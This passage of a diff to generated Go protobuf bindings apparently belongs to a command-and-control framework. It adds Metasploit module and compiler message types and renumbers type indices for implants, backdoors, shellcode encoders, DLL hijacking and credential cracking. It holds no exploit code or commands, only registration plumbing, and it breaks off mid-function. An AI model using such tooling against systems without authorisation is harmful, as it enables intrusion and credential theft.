(*Builders)(nil), // 99: clientpb.Builders - (*Builder)(nil), // 100: clientpb.Builder - (*Credential)(nil), // 101: clientpb.Credential - (*Credentials)(nil), // 102: clientpb.Credentials - (*Crackstations)(nil), // 103: clientpb.Crackstations - (*CrackstationStatus)(nil), // 104: clientpb.CrackstationStatus - (*CrackSyncStatus)(nil), // 105: clientpb.CrackSyncStatus - (*CrackBenchmark)(nil), // 106: clientpb.CrackBenchmark - (*CrackTask)(nil), // 107: clientpb.CrackTask - (*Crackstation)(nil), // 108: clientpb.Crackstation - (*CUDABackendInfo)(nil), // 109: clientpb.CUDABackendInfo - (*OpenCLBackendInfo)(nil), // 110: clientpb.OpenCLBackendInfo - (*MetalBackendInfo)(nil), // 111: clientpb.MetalBackendInfo - (*CrackCommand)(nil), // 112: clientpb.CrackCommand - (*CrackConfig)(nil), // 113: clientpb.CrackConfig - (*CrackFiles)(nil), // 114: clientpb.CrackFiles - (*CrackFile)(nil), // 115: clientpb.CrackFile - (*CrackFileChunk)(nil), // 116: clientpb.CrackFileChunk - nil, // 117: clientpb.TrafficEncoderMap.EncodersEntry - nil, // 118: clientpb.ImplantBuilds.ConfigsEntry - nil, // 119: clientpb.WebsiteAddContent.ContentsEntry - nil, // 120: clientpb.Website.ContentsEntry - nil, // 121: clientpb.Host.ExtensionDataEntry - nil, // 122: clientpb.ShellcodeEncoderMap.EncodersEntry - nil, // 123: clientpb.CrackSyncStatus.ProgressEntry - nil, // 124: clientpb.CrackBenchmark.BenchmarksEntry - nil, // 125: clientpb.Crackstation.BenchmarksEntry - (*commonpb.Request)(nil), // 126: commonpb.Request - (*commonpb.Response)(nil), // 127: commonpb.Response - (*commonpb.File)(nil), // 128: commonpb.File + (*MetasploitModule)(nil), // 34: clientpb.MetasploitModule + (*MetasploitCompiler)(nil), // 35: clientpb.MetasploitCompiler + (*DeleteReq)(nil), // 36: clientpb.DeleteReq + (*DNSCanary)(nil), // 37: clientpb.DNSCanary + (*Canaries)(nil), // 38: clientpb.Canaries + (*UniqueWGIP)(nil), // 39: clientpb.UniqueWGIP + (*ImplantProfile)(nil), // 40: clientpb.ImplantProfile + (*ImplantProfiles)(nil), // 41: clientpb.ImplantProfiles + (*RegenerateReq)(nil), // 42: clientpb.RegenerateReq + (*Job)(nil), // 43: clientpb.Job + (*Jobs)(nil), // 44: clientpb.Jobs + (*KillJobReq)(nil), // 45: clientpb.KillJobReq + (*KillJob)(nil), // 46: clientpb.KillJob + (*MTLSListenerReq)(nil), // 47: clientpb.MTLSListenerReq + (*MTLSListener)(nil), // 48: clientpb.MTLSListener + (*WGListenerReq)(nil), // 49: clientpb.WGListenerReq + (*WGListener)(nil), // 50: clientpb.WGListener + (*DNSListenerReq)(nil), // 51: clientpb.DNSListenerReq + (*DNSListener)(nil), // 52: clientpb.DNSListener + (*HTTPListenerReq)(nil), // 53: clientpb.HTTPListenerReq + (*NamedPipesReq)(nil), // 54: clientpb.NamedPipesReq + (*NamedPipes)(nil), // 55: clientpb.NamedPipes + (*TCPPivotReq)(nil), // 56: clientpb.TCPPivotReq + (*TCPPivot)(nil), // 57: clientpb.TCPPivot + (*HTTPListener)(nil), // 58: clientpb.HTTPListener + (*Sessions)(nil), // 59: clientpb.Sessions + (*RenameReq)(nil), // 60: clientpb.RenameReq + (*GenerateReq)(nil), // 61: clientpb.GenerateReq + (*Generate)(nil), // 62: clientpb.Generate + (*MSFReq)(nil), // 63: clientpb.MSFReq + (*MSFRemoteReq)(nil), // 64: clientpb.MSFRemoteReq + (*StagerListenerReq)(nil), // 65: clientpb.StagerListenerReq + (*StagerListener)(nil), // 66: clientpb.StagerListener + (*ShellcodeRDIReq)(nil), // 67: clientpb.ShellcodeRDIReq + (*ShellcodeRDI)(nil), // 68: clientpb.ShellcodeRDI + (*MsfStagerReq)(nil), // 69: clientpb.MsfStagerReq + (*MsfStager)(nil), // 70: clientpb.MsfStager + (*GetSystemReq)(nil), // 71: clientpb.GetSystemReq + (*MigrateReq)(nil), // 72: clientpb.MigrateReq + (*CreateTunnelReq)(nil), // 73: clientpb.CreateTunnelReq + (*CreateTunnel)(nil), // 74: clientpb.CreateTunnel + (*CloseTunnelReq)(nil), // 75: clientpb.CloseTunnelReq + (*PivotGraphEntry)(nil), // 76: clientpb.PivotGraphEntry + (*PivotGraph)(nil), // 77: clientpb.PivotGraph + (*Client)(nil), // 78: clientpb.Client + (*Event)(nil), // 79: clientpb.Event + (*Operator)(nil), // 80: clientpb.Operator + (*WebContent)(nil), // 81: clientpb.WebContent + (*WebsiteAddContent)(nil), // 82: clientpb.WebsiteAddContent + (*WebsiteRemoveContent)(nil), // 83: clientpb.WebsiteRemoveContent + (*Website)(nil), // 84: clientpb.Website + (*Websites)(nil), // 85: clientpb.Websites + (*WGClientConfig)(nil), // 86: clientpb.WGClientConfig + (*Loot)(nil), // 87: clientpb.Loot + (*AllLoot)(nil), // 88: clientpb.AllLoot + (*IOC)(nil), // 89: clientpb.IOC + (*ExtensionData)(nil), // 90: clientpb.ExtensionData + (*Host)(nil), // 91: clientpb.Host + (*AllHosts)(nil), // 92: clientpb.AllHosts + (*DllHijackReq)(nil), // 93: clientpb.DllHijackReq + (*DllHijack)(nil), // 94: clientpb.DllHijack + (*BackdoorReq)(nil), // 95: clientpb.BackdoorReq + (*Backdoor)(nil), // 96: clientpb.Backdoor + (*ShellcodeEncodeReq)(nil), // 97: clientpb.ShellcodeEncodeReq + (*ShellcodeEncode)(nil), // 98: clientpb.ShellcodeEncode + (*ShellcodeEncoderMap)(nil), // 99: clientpb.ShellcodeEncoderMap + (*ExternalGenerateReq)(nil), // 100: clientpb.ExternalGenerateReq + (*Builders)(nil), // 101: clientpb.Builders + (*Builder)(nil), // 102: clientpb.Builder + (*Credential)(nil), // 103: clientpb.Credential + (*Credentials)(nil), // 104: clientpb.Credentials + (*Crackstations)(nil), // 105: clientpb.Crackstations + (*CrackstationStatus)(nil), // 106: clientpb.CrackstationStatus + (*CrackSyncStatus)(nil), // 107: clientpb.CrackSyncStatus + (*CrackBenchmark)(nil), // 108: clientpb.CrackBenchmark + (*CrackTask)(nil), // 109: clientpb.CrackTask + (*Crackstation)(nil), // 110: clientpb.Crackstation + (*CUDABackendInfo)(nil), // 111: clientpb.CUDABackendInfo + (*OpenCLBackendInfo)(nil), // 112: clientpb.OpenCLBackendInfo + (*MetalBackendInfo)(nil), // 113: clientpb.MetalBackendInfo + (*CrackCommand)(nil), // 114: clientpb.CrackCommand + (*CrackConfig)(nil), // 115: clientpb.CrackConfig + (*CrackFiles)(nil), // 116: clientpb.CrackFiles + (*CrackFile)(nil), // 117: clientpb.CrackFile + (*CrackFileChunk)(nil), // 118: clientpb.CrackFileChunk + nil, // 119: clientpb.TrafficEncoderMap.EncodersEntry + nil, // 120: clientpb.ImplantBuilds.ConfigsEntry + nil, // 121: clientpb.WebsiteAddContent.ContentsEntry + nil, // 122: clientpb.Website.ContentsEntry + nil, // 123: clientpb.Host.ExtensionDataEntry + nil, // 124: clientpb.ShellcodeEncoderMap.EncodersEntry + nil, // 125: clientpb.CrackSyncStatus.ProgressEntry + nil, // 126: clientpb.CrackBenchmark.BenchmarksEntry + nil, // 127: clientpb.Crackstation.BenchmarksEntry + (*commonpb.Request)(nil), // 128: commonpb.Request + (*commonpb.Response)(nil), // 129: commonpb.Response + (*commonpb.File)(nil), // 130: commonpb.File } var file_clientpb_client_proto_depIdxs = []int32{ - 126, // 0: clientpb.ImplantCommand.Request:type_name -> commonpb.Request - 126, // 1: clientpb.HistoryRequest.Request:type_name -> commonpb.Request + 128, // 0: clientpb.ImplantCommand.Request:type_name -> commonpb.Request + 128, // 1: clientpb.HistoryRequest.Request:type_name -> commonpb.Request 14, // 2: clientpb.History.Commands:type_name -> clientpb.ImplantCommand - 127, // 3: clientpb.History.Response:type_name -> commonpb.Response + 129, // 3: clientpb.History.Response:type_name -> commonpb.Response 18, // 4: clientpb.Beacons.Beacons:type_name -> clientpb.Beacon 20, // 5: clientpb.BeaconTasks.Tasks:type_name -> clientpb.BeaconTask 22, // 6: clientpb.ImplantConfig.C2:type_name -> clientpb.ImplantC2 0, // 7: clientpb.ImplantConfig.Format:type_name -> clientpb.OutputFormat - 128, // 8: clientpb.ImplantConfig.Assets:type_name -> commonpb.File - 128, // 9: clientpb.TrafficEncoder.Wasm:type_name -> commonpb.File - 117, // 10: clientpb.TrafficEncoderMap.Encoders:type_name -> clientpb.TrafficEncoderMap.EncodersEntry + 130, // 8: clientpb.ImplantConfig.Assets:type_name -> commonpb.File + 130, // 9: clientpb.TrafficEncoder.Wasm:type_name -> commonpb.File + 119, // 10: clientpb.TrafficEncoderMap.Encoders:type_name -> clientpb.TrafficEncoderMap.EncodersEntry 24, // 11: clientpb.TrafficEncoderTests.Encoder:type_name -> clientpb.TrafficEncoder 26, // 12: clientpb.TrafficEncoderTests.Tests:type_name -> clientpb.TrafficEncoderTest 23, // 13: clientpb.ExternalImplantConfig.Config:type_name -> clientpb.ImplantConfig - 128, // 14: clientpb.ExternalImplantBinary.File:type_name -> commonpb.File - 118, // 15: clientpb.ImplantBuilds.Configs:type_name -> clientpb.ImplantBuilds.ConfigsEntry + 130, // 14: clientpb.ExternalImplantBinary.File:type_name -> commonpb.File + 120, // 15: clientpb.ImplantBuilds.Configs:type_name -> clientpb.ImplantBuilds.ConfigsEntry 0, // 16: clientpb.CompilerTarget.Format:type_name -> clientpb.OutputFormat 31, // 17: clientpb.Compiler.Targets:type_name -> clientpb.CompilerTarget 32, // 18: clientpb.Compiler.CrossCompilers:type_name -> clientpb.CrossCompiler 31, // 19: clientpb.Compiler.UnsupportedTargets:type_name -> clientpb.CompilerTarget - 35, // 20: clientpb.Canaries.Canaries:type_name -> clientpb.DNSCanary - 23, // 21: clientpb.ImplantProfile.Config:type_name -> clientpb.ImplantConfig - 38, // 22: clientpb.ImplantProfiles.Profiles:type_name -> clientpb.ImplantProfile - 41, // 23: clientpb.Jobs.Active:type_name -> clientpb.Job - 126, // 24: clientpb.NamedPipesReq.Request:type_name -> commonpb.Request - 127, // 25: clientpb.NamedPipes.Response:type_name -> commonpb.Response - 126, // 26: clientpb.TCPPivotReq.Request:type_name -> commonpb.Request - 127, // 27: clientpb.TCPPivot.Response:type_name -> commonpb.Response - 17, // 28: clientpb.Sessions.Sessions:type_name -> clientpb.Session - 23, // 29: clientpb.GenerateReq.Config:type_name -> clientpb.ImplantConfig - 128, // 30: clientpb.Generate.File:type_name -> commonpb.File - 126, // 31: clientpb.MSFReq.Request:type_name -> commonpb.Request - 126, // 32: clientpb.MSFRemoteReq.Request:type_name -> commonpb.Request - 1, // 33: clientpb.StagerListenerReq.Protocol:type_name -> clientpb.StageProtocol - 1, // 34: clientpb.MsfStagerReq.Protocol:type_name -> clientpb.StageProtocol - 128, // 35: clientpb.MsfStager.File:type_name -> commonpb.File - 23, // 36: clientpb.GetSystemReq.Config:type_name -> clientpb.ImplantConfig - 126, // 37: clientpb.GetSystemReq.Request:type_name -> commonpb.Request - 23, // 38: clientpb.MigrateReq.Config:type_name -> clientpb.ImplantConfig - 3, // 39: clientpb.MigrateReq.Encoder:type_name -> clientpb.ShellcodeEncoder - 126, // 40: clientpb.MigrateReq.Request:type_name -> commonpb.Request - 126, // 41: clientpb.CreateTunnelReq.Request:type_name -> commonpb.Request - 126, // 42: clientpb.CloseTunnelReq.Request:type_name -> commonpb.Request - 17, // 43: clientpb.PivotGraphEntry.Session:type_name -> clientpb.Session - 74, // 44: clientpb.PivotGraphEntry.Children:type_name -> clientpb.PivotGraphEntry - 74, // 45: clientpb.PivotGraph.Children:type_name -> clientpb.PivotGraphEntry - 78, // 46: clientpb.Client.Operator:type_name -> clientpb.Operator - 17, // 47: clientpb.Event.Session:type_name -> clientpb.Session - 41, // 48: clientpb.Event.Job:type_name -> clientpb.Job - 76, // 49: clientpb.Event.Client:type_name -> clientpb.Client - 119, // 50: clientpb.WebsiteAddContent.Contents:type_name -> clientpb.WebsiteAddContent.ContentsEntry - 120, // 51: clientpb.Website.Contents:type_name -> clientpb.Website.ContentsEntry - 82, // 52: clientpb.Websites.Websites:type_name -> clientpb.Website - 2, // 53: clientpb.Loot.FileType:type_name -> clientpb.FileType - 128, // 54: clientpb.Loot.File:type_name -> commonpb.File - 85, // 55: clientpb.AllLoot.Loot:type_name -> clientpb.Loot - 87, // 56: clientpb.Host.IOCs:type_name -> clientpb.IOC - 121, // 57: clientpb.Host.ExtensionData:type_name -> clientpb.Host.ExtensionDataEntry - 89, // 58: clientpb.AllHosts.Hosts:type_name -> clientpb.Host - 126, // 59: clientpb.DllHijackReq.Request:type_name -> commonpb.Request - 127, // 60: clientpb.DllHijack.Response:type_name -> commonpb.Response - 126, // 61: clientpb.BackdoorReq.Request:type_name -> commonpb.Request - 127, // 62: clientpb.Backdoor.Response:type_name -> commonpb.Response - 3, // 63: clientpb.ShellcodeEncodeReq.Encoder:type_name -> clientpb.ShellcodeEncoder - 126, // 64: clientpb.ShellcodeEncodeReq.Request:type_name -> commonpb.Request - 127, // 65: clientpb.ShellcodeEncode.Response:type_name -> commonpb.Response - 122, // 66: clientpb.ShellcodeEncoderMap.Encoders:type_name -> clientpb.ShellcodeEncoderMap.EncodersEntry - 23, // 67: clientpb.ExternalGenerateReq.Config:type_name -> clientpb.ImplantConfig - 100, // 68: clientpb.Builders.Builders:type_name -> clientpb.Builder - 31, // 69: clientpb.Builder.Targets:type_name -> clientpb.CompilerTarget - 32, // 70: clientpb.Builder.CrossCompilers:type_name -> clientpb.CrossCompiler - 4, // 71: clientpb.Credential.HashType:type_name -> clientpb.HashType - 101, // 72: clientpb.Credentials.Credentials:type_name -> clientpb.Credential - 108, // 73: clientpb.Crackstations.Crackstations:type_name -> clientpb.Crackstation - 5, // 74: clientpb.CrackstationStatus.State:type_name -> clientpb.States - 105, // 75: clientpb.CrackstationStatus.Syncing:type_name -> clientpb.CrackSyncStatus - 123, // 76: clientpb.CrackSyncStatus.Progress:type_name -> clientpb.CrackSyncStatus.ProgressEntry - 124, // 77: clientpb.CrackBenchmark.Benchmarks:type_name -> clientpb.CrackBenchmark.BenchmarksEntry - 112, // 78: clientpb.CrackTask.Command:type_name -> clientpb.CrackCommand - 125, // 79: clientpb.Crackstation.Benchmarks:type_name -> clientpb.Crackstation.BenchmarksEntry - 109, // 80: clientpb.Crackstation.CUDA:type_name -> clientpb.CUDABackendInfo - 111, // 81: clientpb.Crackstation.Metal:type_name -> clientpb.MetalBackendInfo - 110, // 82: clientpb.Crackstation.OpenCL:type_name -> clientpb.OpenCLBackendInfo - 7, // 83: clientpb.CrackCommand.AttackMode:type_name -> clientpb.CrackAttackMode - 4, // 84: clientpb.CrackCommand.HashType:type_name -> clientpb.HashType - 9, // 85: clientpb.CrackCommand.OutfileFormat:type_name -> clientpb.CrackOutfileFormat - 8, // 86: clientpb.CrackCommand.EncodingFrom:type_name -> clientpb.CrackEncoding - 8, // 87: clientpb.CrackCommand.EncodingTo:type_name -> clientpb.CrackEncoding - 10, // 88: clientpb.CrackCommand.WorkloadProfile:type_name -> clientpb.CrackWorkloadProfile - 115, // 89: clientpb.CrackFiles.Files:type_name -> clientpb.CrackFile - 11, // 90: clientpb.CrackFile.Type:type_name -> clientpb.CrackFileType - 116, // 91: clientpb.CrackFile.Chunks:type_name -> clientpb.CrackFileChunk - 24, // 92: clientpb.TrafficEncoderMap.EncodersEntry.value:type_name -> clientpb.TrafficEncoder - 23, // 93: clientpb.ImplantBuilds.ConfigsEntry.value:type_name -> clientpb.ImplantConfig - 79, // 94: clientpb.WebsiteAddContent.ContentsEntry.value:type_name -> clientpb.WebContent - 79, // 95: clientpb.Website.ContentsEntry.value:type_name -> clientpb.WebContent - 88, // 96: clientpb.Host.ExtensionDataEntry.value:type_name -> clientpb.ExtensionData - 3, // 97: clientpb.ShellcodeEncoderMap.EncodersEntry.value:type_name -> clientpb.ShellcodeEncoder - 98, // [98:98] is the sub-list for method output_type - 98, // [98:98] is the sub-list for method input_type - 98, // [98:98] is the sub-list for extension type_name - 98, // [98:98] is the sub-list for extension extendee - 0, // [0:98] is the sub-list for field type_name + 34, // 20: clientpb.MetasploitCompiler.Encoders:type_name -> clientpb.MetasploitModule + 34, // 21: clientpb.MetasploitCompiler.Payloads:type_name -> clientpb.MetasploitModule + 37, // 22: clientpb.Canaries.Canaries:type_name -> clientpb.DNSCanary + 23, // 23: clientpb.ImplantProfile.Config:type_name -> clientpb.ImplantConfig + 40, // 24: clientpb.ImplantProfiles.Profiles:type_name -> clientpb.ImplantProfile + 43, // 25: clientpb.Jobs.Active:type_name -> clientpb.Job + 128, // 26: clientpb.NamedPipesReq.Request:type_name -> commonpb.Request + 129, // 27: clientpb.NamedPipes.Response:type_name -> commonpb.Response + 128, // 28: clientpb.TCPPivotReq.Request:type_name -> commonpb.Request + 129, // 29: clientpb.TCPPivot.Response:type_name -> commonpb.Response + 17, // 30: clientpb.Sessions.Sessions:type_name -> clientpb.Session + 23, // 31: clientpb.GenerateReq.Config:type_name -> clientpb.ImplantConfig + 130, // 32: clientpb.Generate.File:type_name -> commonpb.File + 128, // 33: clientpb.MSFReq.Request:type_name -> commonpb.Request + 128, // 34: clientpb.MSFRemoteReq.Request:type_name -> commonpb.Request + 1, // 35: clientpb.StagerListenerReq.Protocol:type_name -> clientpb.StageProtocol + 1, // 36: clientpb.MsfStagerReq.Protocol:type_name -> clientpb.StageProtocol + 130, // 37: clientpb.MsfStager.File:type_name -> commonpb.File + 23, // 38: clientpb.GetSystemReq.Config:type_name -> clientpb.ImplantConfig + 128, // 39: clientpb.GetSystemReq.Request:type_name -> commonpb.Request + 23, // 40: clientpb.MigrateReq.Config:type_name -> clientpb.ImplantConfig + 3, // 41: clientpb.MigrateReq.Encoder:type_name -> clientpb.ShellcodeEncoder + 128, // 42: clientpb.MigrateReq.Request:type_name -> commonpb.Request + 128, // 43: clientpb.CreateTunnelReq.Request:type_name -> commonpb.Request + 128, // 44: clientpb.CloseTunnelReq.Request:type_name -> commonpb.Request + 17, // 45: clientpb.PivotGraphEntry.Session:type_name -> clientpb.Session + 76, // 46: clientpb.PivotGraphEntry.Children:type_name -> clientpb.PivotGraphEntry + 76, // 47: clientpb.PivotGraph.Children:type_name -> clientpb.PivotGraphEntry + 80, // 48: clientpb.Client.Operator:type_name -> clientpb.Operator + 17, // 49: clientpb.Event.Session:type_name -> clientpb.Session + 43, // 50: clientpb.Event.Job:type_name -> clientpb.Job + 78, // 51: clientpb.Event.Client:type_name -> clientpb.Client + 121, // 52: clientpb.WebsiteAddContent.Contents:type_name -> clientpb.WebsiteAddContent.ContentsEntry + 122, // 53: clientpb.Website.Contents:type_name -> clientpb.Website.ContentsEntry + 84, // 54: clientpb.Websites.Websites:type_name -> clientpb.Website + 2, // 55: clientpb.Loot.FileType:type_name -> clientpb.FileType + 130, // 56: clientpb.Loot.File:type_name -> commonpb.File + 87, // 57: clientpb.AllLoot.Loot:type_name -> clientpb.Loot + 89, // 58: clientpb.Host.IOCs:type_name -> clientpb.IOC + 123, // 59: clientpb.Host.ExtensionData:type_name -> clientpb.Host.ExtensionDataEntry + 91, // 60: clientpb.AllHosts.Hosts:type_name -> clientpb.Host + 128, // 61: clientpb.DllHijackReq.Request:type_name -> commonpb.Request + 129, // 62: clientpb.DllHijack.Response:type_name -> commonpb.Response + 128, // 63: clientpb.BackdoorReq.Request:type_name -> commonpb.Request + 129, // 64: clientpb.Backdoor.Response:type_name -> commonpb.Response + 3, // 65: clientpb.ShellcodeEncodeReq.Encoder:type_name -> clientpb.ShellcodeEncoder + 128, // 66: clientpb.ShellcodeEncodeReq.Request:type_name -> commonpb.Request + 129, // 67: clientpb.ShellcodeEncode.Response:type_name -> commonpb.Response + 124, // 68: clientpb.ShellcodeEncoderMap.Encoders:type_name -> clientpb.ShellcodeEncoderMap.EncodersEntry + 23, // 69: clientpb.ExternalGenerateReq.Config:type_name -> clientpb.ImplantConfig + 102, // 70: clientpb.Builders.Builders:type_name -> clientpb.Builder + 31, // 71: clientpb.Builder.Targets:type_name -> clientpb.CompilerTarget + 32, // 72: clientpb.Builder.CrossCompilers:type_name -> clientpb.CrossCompiler + 4, // 73: clientpb.Credential.HashType:type_name -> clientpb.HashType + 103, // 74: clientpb.Credentials.Credentials:type_name -> clientpb.Credential + 110, // 75: clientpb.Crackstations.Crackstations:type_name -> clientpb.Crackstation + 5, // 76: clientpb.CrackstationStatus.State:type_name -> clientpb.States + 107, // 77: clientpb.CrackstationStatus.Syncing:type_name -> clientpb.CrackSyncStatus + 125, // 78: clientpb.CrackSyncStatus.Progress:type_name -> clientpb.CrackSyncStatus.ProgressEntry + 126, // 79: clientpb.CrackBenchmark.Benchmarks:type_name -> clientpb.CrackBenchmark.BenchmarksEntry + 114, // 80: clientpb.CrackTask.Command:type_name -> clientpb.CrackCommand + 127, // 81: clientpb.Crackstation.Benchmarks:type_name -> clientpb.Crackstation.BenchmarksEntry + 111, // 82: clientpb.Crackstation.CUDA:type_name -> clientpb.CUDABackendInfo + 113, // 83: clientpb.Crackstation.Metal:type_name -> clientpb.MetalBackendInfo + 112, // 84: clientpb.Crackstation.OpenCL:type_name -> clientpb.OpenCLBackendInfo + 7, // 85: clientpb.CrackCommand.AttackMode:type_name -> clientpb.CrackAttackMode + 4, // 86: clientpb.CrackCommand.HashType:type_name -> clientpb.HashType + 9, // 87: clientpb.CrackCommand.OutfileFormat:type_name -> clientpb.CrackOutfileFormat + 8, // 88: clientpb.CrackCommand.EncodingFrom:type_name -> clientpb.CrackEncoding + 8, // 89: clientpb.CrackCommand.EncodingTo:type_name -> clientpb.CrackEncoding + 10, // 90: clientpb.CrackCommand.WorkloadProfile:type_name -> clientpb.CrackWorkloadProfile + 117, // 91: clientpb.CrackFiles.Files:type_name -> clientpb.CrackFile + 11, // 92: clientpb.CrackFile.Type:type_name -> clientpb.CrackFileType + 118, // 93: clientpb.CrackFile.Chunks:type_name -> clientpb.CrackFileChunk + 24, // 94: clientpb.TrafficEncoderMap.EncodersEntry.value:type_name -> clientpb.TrafficEncoder + 23, // 95: clientpb.ImplantBuilds.ConfigsEntry.value:type_name -> clientpb.ImplantConfig + 81, // 96: clientpb.WebsiteAddContent.ContentsEntry.value:type_name -> clientpb.WebContent + 81, // 97: clientpb.Website.ContentsEntry.value:type_name -> clientpb.WebContent + 90, // 98: clientpb.Host.ExtensionDataEntry.value:type_name -> clientpb.ExtensionData + 3, // 99: clientpb.ShellcodeEncoderMap.EncodersEntry.value:type_name -> clientpb.ShellcodeEncoder + 100, // [100:100] is the sub-list for method output_type + 100, // [100:100] is the sub-list for method input_type + 100, // [100:100] is the sub-list for extension type_name + 100, // [100:100] is the sub-list for extension extendee + 0, // [0:100] is the sub-list for field type_name } func init() { file_clientpb_client_proto_init() } @@ -11749,7 +11924,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[22].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DeleteReq); i { + switch v := v.(*MetasploitModule); i { case 0: return &v.state case 1: @@ -11761,7 +11936,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[23].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DNSCanary); i { + switch v := v.(*MetasploitCompiler); i { case 0: return &v.state case 1: @@ -11773,7 +11948,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[24].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Canaries); i { + switch v := v.(*DeleteReq); i { case 0: return &v.state case 1: @@ -11785,7 +11960,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[25].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*UniqueWGIP); i { + switch v := v.(*DNSCanary); i { case 0: return &v.state case 1: @@ -11797,7 +11972,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[26].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ImplantProfile); i { + switch v := v.(*Canaries); i { case 0: return &v.state case 1: @@ -11809,7 +11984,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[27].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ImplantProfiles); i { + switch v := v.(*UniqueWGIP); i { case 0: return &v.state case 1: @@ -11821,7 +11996,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[28].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*RegenerateReq); i { + switch v := v.(*ImplantProfile); i { case 0: return &v.state case 1: @@ -11833,7 +12008,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[29].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Job); i { + switch v := v.(*ImplantProfiles); i { case 0: return &v.state case 1: @@ -11845,7 +12020,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[30].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Jobs); i { + switch v := v.(*RegenerateReq); i { case 0: return &v.state case 1: @@ -11857,7 +12032,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[31].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*KillJobReq); i { + switch v := v.(*Job); i { case 0: return &v.state case 1: @@ -11869,7 +12044,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[32].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*KillJob); i { + switch v := v.(*Jobs); i { case 0: return &v.state case 1: @@ -11881,7 +12056,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[33].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*MTLSListenerReq); i { + switch v := v.(*KillJobReq); i { case 0: return &v.state case 1: @@ -11893,7 +12068,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[34].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*MTLSListener); i { + switch v := v.(*KillJob); i { case 0: return &v.state case 1: @@ -11905,7 +12080,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[35].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*WGListenerReq); i { + switch v := v.(*MTLSListenerReq); i { case 0: return &v.state case 1: @@ -11917,7 +12092,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[36].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*WGListener); i { + switch v := v.(*MTLSListener); i { case 0: return &v.state case 1: @@ -11929,7 +12104,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[37].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DNSListenerReq); i { + switch v := v.(*WGListenerReq); i { case 0: return &v.state case 1: @@ -11941,7 +12116,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[38].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DNSListener); i { + switch v := v.(*WGListener); i { case 0: return &v.state case 1: @@ -11953,7 +12128,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[39].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*HTTPListenerReq); i { + switch v := v.(*DNSListenerReq); i { case 0: return &v.state case 1: @@ -11965,7 +12140,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[40].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*NamedPipesReq); i { + switch v := v.(*DNSListener); i { case 0: return &v.state case 1: @@ -11977,7 +12152,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[41].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*NamedPipes); i { + switch v := v.(*HTTPListenerReq); i { case 0: return &v.state case 1: @@ -11989,7 +12164,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[42].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*TCPPivotReq); i { + switch v := v.(*NamedPipesReq); i { case 0: return &v.state case 1: @@ -12001,7 +12176,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[43].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*TCPPivot); i { + switch v := v.(*NamedPipes); i { case 0: return &v.state case 1: @@ -12013,7 +12188,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[44].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*HTTPListener); i { + switch v := v.(*TCPPivotReq); i { case 0: return &v.state case 1: @@ -12025,7 +12200,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[45].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Sessions); i { + switch v := v.(*TCPPivot); i { case 0: return &v.state case 1: @@ -12037,7 +12212,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[46].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*RenameReq); i { + switch v := v.(*HTTPListener); i { case 0: return &v.state case 1: @@ -12049,7 +12224,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[47].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*GenerateReq); i { + switch v := v.(*Sessions); i { case 0: return &v.state case 1: @@ -12061,7 +12236,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[48].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Generate); i { + switch v := v.(*RenameReq); i { case 0: return &v.state case 1: @@ -12073,7 +12248,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[49].Exporter = func(v interface{}, i int) interface{} { - 